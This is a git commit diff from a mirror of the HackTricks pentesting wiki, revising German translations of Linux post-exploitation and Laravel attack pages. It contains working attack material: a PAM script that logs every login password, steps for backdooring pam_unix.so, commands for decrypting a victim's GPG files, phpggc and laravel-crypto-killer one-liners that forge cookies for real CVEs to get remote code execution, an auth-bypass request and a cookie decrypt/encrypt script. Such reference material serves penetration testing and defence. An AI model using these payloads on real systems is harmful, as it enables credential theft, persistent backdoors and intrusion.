mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/linux-h
This commit is contained in:
Translator
parent
edeb460c89
commit
107a468026
@ -4,22 +4,23 @@
|
||||
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
Lass uns ein PAM-Modul konfigurieren, um jedes Passwort, das ein Benutzer zum Anmelden verwendet, zu protokollieren. Wenn du nicht weißt, was PAM ist, schaue nach:
|
||||
Konfigurieren wir ein PAM-Modul, um jedes Passwort zu protokollieren, das ein Benutzer zum Einloggen verwendet. Wenn du nicht weißt, was PAM ist, siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**Für weitere Details siehe den [originalen Beitrag](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Dies ist nur eine Zusammenfassung:
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Dies ist nur eine Zusammenfassung:
|
||||
|
||||
**Technikübersicht:**
|
||||
Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit durch Anpassung der Anmeldeprozesse erhöhen, bergen jedoch auch Risiken, wenn sie missbraucht werden. Diese Zusammenfassung skizziert eine Technik zur Erfassung von Anmeldeinformationen mit PAM sowie Strategien zur Minderung.
|
||||
Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem Login-Prozesse angepasst werden, stellen jedoch auch ein Risiko dar, wenn sie missbraucht werden. Diese Zusammenfassung skizziert eine Technik, um Login-Anmeldeinformationen mit PAM zu erfassen, sowie Gegenmaßnahmen.
|
||||
|
||||
**Erfassung von Anmeldeinformationen:**
|
||||
|
||||
- Ein Bash-Skript namens `toomanysecrets.sh` wird erstellt, um Anmeldeversuche zu protokollieren, wobei das Datum, der Benutzername (`$PAM_USER`), das Passwort (über stdin) und die IP des Remote-Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` erfasst werden.
|
||||
- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) integriert, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise zu laufen und das Authentifizierungstoken an das Skript weiterzugeben.
|
||||
- Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen diskret zu protokollieren.
|
||||
- Ein bash-Skript mit dem Namen `toomanysecrets.sh` wird erstellt, um Login-Versuche zu protokollieren und dabei Datum, Benutzername (`$PAM_USER`), Passwort (über stdin) und die IP des Remote-Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` zu erfassen.
|
||||
- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) eingebunden, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise zu laufen und das Authentifizierungs-Token dem Skript zur Verfügung zu stellen.
|
||||
- Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen unauffällig zu protokollieren.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**Für weitere Details siehe den [originalen Beitrag](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dies ist nur eine Zusammenfassung:
|
||||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dies ist nur eine Zusammenfassung:
|
||||
|
||||
Das Pluggable Authentication Module (PAM) ist ein System, das unter Linux zur Benutzerauthentifizierung verwendet wird. Es basiert auf drei Hauptkonzepten: **Benutzername**, **Passwort** und **Dienst**. Konfigurationsdateien für jeden Dienst befinden sich im Verzeichnis `/etc/pam.d/`, wo gemeinsame Bibliotheken die Authentifizierung verwalten.
|
||||
Das Pluggable Authentication Module (PAM) ist ein unter Linux verwendetes System zur Benutzer-Authentifizierung. Es basiert auf drei Hauptkonzepten: **username**, **password**, und **service**. Konfigurationsdateien für jeden Service befinden sich im Verzeichnis `/etc/pam.d/`, wo shared libraries die Authentifizierung übernehmen.
|
||||
|
||||
**Ziel**: PAM so modifizieren, dass die Authentifizierung mit einem bestimmten Passwort erfolgt, das das tatsächliche Benutzerpasswort umgeht. Dies konzentriert sich insbesondere auf die `pam_unix.so`-Gemeinschaftsbibliothek, die von der Datei `common-auth` verwendet wird, die von fast allen Diensten zur Passwortüberprüfung eingebunden ist.
|
||||
**Objective**: Modifiziere PAM, um Authentifizierung mit einem bestimmten Passwort zuzulassen und das tatsächliche Benutzerpasswort zu umgehen. Dies konzentriert sich besonders auf die `pam_unix.so` shared library, die von der Datei `common-auth` verwendet wird, die von fast allen Services zur Passwortüberprüfung eingebunden wird.
|
||||
|
||||
### Schritte zur Modifizierung von `pam_unix.so`:
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **Finden Sie die Authentifizierungsanweisung** in der Datei `common-auth`:
|
||||
1. **Authentifizierungs-Direktive lokalisieren** in der Datei `common-auth`:
|
||||
- Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft `pam_unix.so` auf.
|
||||
2. **Quellcode modifizieren**:
|
||||
- Fügen Sie eine Bedingung in der Quellcodedatei `pam_unix_auth.c` hinzu, die den Zugriff gewährt, wenn ein vordefiniertes Passwort verwendet wird, andernfalls wird der übliche Authentifizierungsprozess fortgesetzt.
|
||||
2. **Quellcode ändern**:
|
||||
- Füge eine Bedingung in die `pam_unix_auth.c` Quelldatei ein, die den Zugang gewährt, wenn ein vordefiniertes Passwort verwendet wird; andernfalls läuft der normale Authentifizierungsprozess weiter.
|
||||
3. **Kompilieren und Ersetzen** der modifizierten `pam_unix.so`-Bibliothek im entsprechenden Verzeichnis.
|
||||
4. **Testen**:
|
||||
- Der Zugriff wird über verschiedene Dienste (Anmeldung, ssh, sudo, su, Bildschirmschoner) mit dem vordefinierten Passwort gewährt, während die normalen Authentifizierungsprozesse unbeeinflusst bleiben.
|
||||
- Mit dem vordefinierten Passwort wird über verschiedene Services (login, ssh, sudo, su, screensaver) Zugriff gewährt, während die normale Authentifizierung weiterhin unverändert funktioniert.
|
||||
|
||||
> [!TIP]
|
||||
> Sie können diesen Prozess automatisieren mit [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## GPG loot durch Verlagerung des homedir entschlüsseln
|
||||
|
||||
Wenn du eine verschlüsselte `.gpg`-Datei und das `~/.gnupg`-Verzeichnis eines Nutzers (pubring, private-keys, trustdb) findest, diese aber wegen GnuPG homedir-Berechtigungen/Locks nicht entschlüsseln kannst, kopiere den keyring an einen beschreibbaren Ort und nutze ihn als dein GPG home.
|
||||
|
||||
Typische Fehler, die ohne diesen Schritt auftreten: "unsafe ownership on homedir", "failed to create temporary file", oder "decryption failed: No secret key" (weil GPG das originale homedir nicht lesen/schreiben kann).
|
||||
|
||||
Ablauf:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
Wenn das geheime Schlüsselmaterial in `private-keys-v1.d` vorhanden ist, entsperrt und entschlüsselt GPG ohne Abfrage einer Passphrase (oder fordert zur Eingabe auf, wenn der Schlüssel geschützt ist).
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lesen Sie Informationen dazu hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Weitere Informationen dazu: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Verschlüsselungsinternas (Laravel \u003e=5.6)
|
||||
## APP_KEY & Verschlüsselungs-Interna (Laravel \u003e=5.6)
|
||||
|
||||
Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (`Illuminate\\Encryption\\Encrypter`).
|
||||
Der rohe Chiffretext, der schließlich **an den Client** **gesendet wird**, ist **Base64 eines JSON-Objekts** wie:
|
||||
Der rohe Ciphertext, der schließlich **an den Client gesendet** wird, ist **Base64 eines JSON-Objekts** wie:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,21 +20,23 @@ Der rohe Chiffretext, der schließlich **an den Client** **gesendet wird**, ist
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` wird standardmäßig `serialize()` den Klartext, während `decrypt($payload, $unserialize=true)` **automatisch `unserialize()`** den entschlüsselten Wert. Daher **kann jeder Angreifer, der den 32-Byte-Geheimschlüssel `APP_KEY` kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (`__wakeup`, `__destruct`, …) erlangen**.
|
||||
`encrypt($value, $serialize=true)` wird standardmäßig den Klartext mit `serialize()` serialisieren, während
|
||||
`decrypt($payload, $unserialize=true)` **automatisch `unserialize()`** auf den entschlüsselten Wert anwendet.
|
||||
Daher kann **jeder Angreifer, der das 32-Byte-Secret `APP_KEY` kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (`__wakeup`, `__destruct`, …) erlangen**.
|
||||
|
||||
Minimal PoC (Framework ≥9.x):
|
||||
Minimaler PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injiziere den erzeugten String in jede verwundbare `decrypt()` Senke (Routenparameter, Cookie, Sitzung, …).
|
||||
Injiziere die erzeugte Zeichenfolge in jede verwundbare `decrypt()` sink (route param, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatisiert den gesamten Prozess und fügt einen praktischen **bruteforce** Modus hinzu:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatisiert den gesamten Prozess und fügt einen praktischen **bruteforce**-Modus hinzu:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC/Tag-Feld.
|
||||
Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und erzeugt das HMAC/Tag-Feld neu.
|
||||
|
||||
---
|
||||
|
||||
## Reale verwundbare Muster
|
||||
## Real-world vulnerable patterns
|
||||
|
||||
| Projekt | Verwundbare Senke | Gadget-Kette |
|
||||
|---------|-------------------|---------------|
|
||||
| Project | Vulnerable sink | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` Cookie, wenn `Passport::withCookieSerialization()` aktiviert ist | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` Cookie | Laravel/RCE15 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie, wenn `Passport::withCookieSerialization()` aktiviert ist | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
Der Exploit-Workflow ist immer:
|
||||
1. Erhalten oder Brute-Force des 32-Byte `APP_KEY`.
|
||||
2. Erstellen einer Gadget-Kette mit **PHPGGC** (zum Beispiel `Laravel/RCE13`, `Laravel/RCE9` oder `Laravel/RCE15`).
|
||||
3. Verschlüsseln des serialisierten Gadgets mit **laravel_crypto_killer.py** und dem wiederhergestellten `APP_KEY`.
|
||||
4. Übermitteln des Chiffretextes an die verwundbare `decrypt()`-Senke (Routenparameter, Cookie, Sitzung …), um **RCE** auszulösen.
|
||||
Der Ausnutzungsablauf ist immer:
|
||||
1. Beschaffe oder brute-force den 32-Byte `APP_KEY`.
|
||||
2. Baue eine gadget chain mit **PHPGGC** (zum Beispiel `Laravel/RCE13`, `Laravel/RCE9` oder `Laravel/RCE15`).
|
||||
3. Verschlüssele das serialisierte Gadget mit **laravel_crypto_killer.py** und dem wiederhergestellten `APP_KEY`.
|
||||
4. Liefere den Ciphertext an den verwundbaren `decrypt()`-Sink (Routenparameter, Cookie, Session …), um **RCE** auszulösen.
|
||||
|
||||
Unten sind prägnante Einzeiler, die den vollständigen Angriffsweg für jede oben genannte reale CVE demonstrieren:
|
||||
Unten folgen prägnante Einzeiler, die den vollständigen Angriffsweg für jede der oben genannten realen CVEs zeigen:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -80,22 +82,50 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## Massenhafte APP_KEY-Erkennung via cookie brute-force
|
||||
|
||||
Da jede frische Laravel-Antwort mindestens ein verschlüsseltes Cookie setzt (`XSRF-TOKEN` und normalerweise `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** die offline angegriffen werden können.
|
||||
|
||||
Wesentliche Erkenntnisse der von Synacktiv veröffentlichten Forschung (2024–2025):
|
||||
* Datensatz Juli 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Datensatz Mai 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 Server sind weiterhin verwundbar gegenüber dem Legacy CVE-2018-15133, weil Tokens direkt serialisierte Daten enthalten.
|
||||
* Starke Key-Wiederverwendung – die Top-10 APP_KEYs sind hard-coded defaults, die mit kommerziellen Laravel-Templates (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.
|
||||
|
||||
Das private Go-Tool **nounours** erhöht den AES-CBC/GCM bruteforce-Durchsatz auf ~1,5 Milliarden Versuche/s und reduziert das vollständige Cracking des Datensatzes auf <2 Minuten.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
Wenn PHP’s `register_argc_argv=On` (typisch bei vielen Distros) gesetzt ist, stellt PHP ein `argv`-Array für HTTP-Requests zur Verfügung, das aus dem Query-String abgeleitet wird. Neuere Laravel-Versionen parsen diese „CLI-ähnlichen“ args und berücksichtigen `--env=<value>` zur Laufzeit. Dadurch lässt sich das Framework-Environment für die aktuelle HTTP-Anfrage umschalten, indem man es einfach an jede URL anhängt:
|
||||
|
||||
- Schneller Check:
|
||||
- Besuche `https://target/?--env=local` oder irgendeinen String und suche nach environment-abhängigen Änderungen (Debug-Banner, Footer, ausführliche Fehlermeldungen). Wenn der String reflektiert wird, funktioniert die Überschreibung.
|
||||
|
||||
- Beispiel für die Auswirkung (Business-Logik, die einem speziellen env vertraut):
|
||||
- Wenn die App Branches wie `if (app()->environment('preprod')) { /* bypass auth */ }` enthält, kannst du dich ohne gültige Credentials authentifizieren, indem du den Login-POST an:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Hinweise:
|
||||
- Funktioniert pro Request, keine Persistenz.
|
||||
- Erfordert `register_argc_argv=On` und eine verwundbare Laravel-Version, die argv für HTTP ausliest.
|
||||
- Nützliches Primitive, um ausführlichere Fehler in „debug“-Envs anzuzeigen oder um environment-geschützte Codepfade auszulösen.
|
||||
|
||||
- Gegenmaßnahmen:
|
||||
- Deaktiviere `register_argc_argv` für PHP-FPM/Apache.
|
||||
- Aktualisiere Laravel, sodass argv in HTTP-Requests ignoriert wird, und entferne alle Annahmen, die sich in Produktionsrouten auf `app()->environment()` stützen.
|
||||
|
||||
Minimaler Exploit-Flow (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Mass APP_KEY Entdeckung über Cookie Brute-Force
|
||||
|
||||
Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie (`XSRF-TOKEN` und normalerweise `laravel_session`) setzt, **leaken öffentliche Internet-Scanner (Shodan, Censys, … Millionen von Chiffretexten**, die offline angegriffen werden können.
|
||||
|
||||
Wichtige Ergebnisse der von Synacktiv veröffentlichten Forschung (2024-2025):
|
||||
* Datensatz Juli 2024 » 580 k Tokens, **3,99 % Schlüssel geknackt** (≈23 k)
|
||||
* Datensatz Mai 2025 » 625 k Tokens, **3,56 % Schlüssel geknackt**
|
||||
* >1 000 Server sind weiterhin anfällig für das Legacy CVE-2018-15133, da Tokens direkt serialisierte Daten enthalten.
|
||||
* Hohe Schlüsselwiederverwendung – die Top-10 APP_KEYs sind hartcodierte Standardwerte, die mit kommerziellen Laravel-Vorlagen (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.
|
||||
|
||||
Das private Go-Tool **nounours** erhöht die AES-CBC/GCM Brute-Force-Durchsatzrate auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des vollständigen Datensatzes auf <2 Minuten.
|
||||
|
||||
|
||||
## Laravel Tricks
|
||||
## Laravel-Tricks
|
||||
|
||||
### Debugging-Modus
|
||||
|
||||
@ -104,17 +134,32 @@ Zum Beispiel `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Dies ist normalerweise erforderlich, um andere Laravel RCE CVEs auszunutzen.
|
||||
Dies wird normalerweise benötigt, um andere Laravel RCE CVEs auszunutzen.
|
||||
|
||||
### Fingerprinting & exponierte Dev-Endpunkte
|
||||
|
||||
Kurze Prüfungen, um einen Laravel-Stack und gefährliche Dev-Tools zu identifizieren, die in Produktion exponiert sind:
|
||||
|
||||
- `/_ignition/health-check` → Ignition vorhanden (Debug-Tool, verwendet von CVE-2021-3129). Wenn unauthentifiziert erreichbar, könnte die App im Debug-Modus sein oder falsch konfiguriert.
|
||||
- `/_debugbar` → Laravel Debugbar Assets; deutet oft auf Debug-Modus hin.
|
||||
- `/telescope` → Laravel Telescope (Dev-Monitor). Wenn öffentlich, ist mit umfangreicher Informationsoffenlegung und möglichen Aktionen zu rechnen.
|
||||
- `/horizon` → Queue-Dashboard; Versionsangabe und manchmal CSRF-geschützte Aktionen.
|
||||
- `X-Powered-By`, Cookies `XSRF-TOKEN` und `laravel_session` sowie Blade-Fehlerseiten helfen ebenfalls beim Fingerprinting.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel speichert die APP, die es verwendet, um die Cookies und andere Anmeldeinformationen zu verschlüsseln, in einer Datei namens `.env`, die über einen Pfad-Traversal unter: `/../.env` zugänglich ist.
|
||||
Laravel speichert die APP, die es zum Verschlüsseln der cookies und anderer credentials verwendet, in einer Datei namens `.env`, die über einen path traversal unter: `/../.env` zugänglich ist.
|
||||
|
||||
Laravel zeigt diese Informationen auch auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und aktiviert ist).
|
||||
Laravel zeigt diese Informationen außerdem auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und der Debug-Modus aktiviert ist).
|
||||
|
||||
Mit dem geheimen APP_KEY von Laravel können Sie Cookies entschlüsseln und erneut verschlüsseln:
|
||||
Mit dem geheimen APP_KEY von Laravel kann man cookies entschlüsseln und wieder verschlüsseln:
|
||||
|
||||
### Cookie entschlüsseln
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
@ -169,30 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Anfällige Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Verwundbare Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Hier finden Sie Informationen über die Deserialisierungsanfälligkeit: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Weitere Informationen zur deserialization-Schwachstelle finden Sie hier: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Sie können es testen und ausnutzen mit [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Oder Sie können es auch mit metasploit ausnutzen: `use unix/http/laravel_token_unserialize_exec`
|
||||
Zum Testen und Exploiten können Sie [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Oder Sie können es auch mit metasploit exploiten: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
Eine weitere Deserialisierung: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
Weitere deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
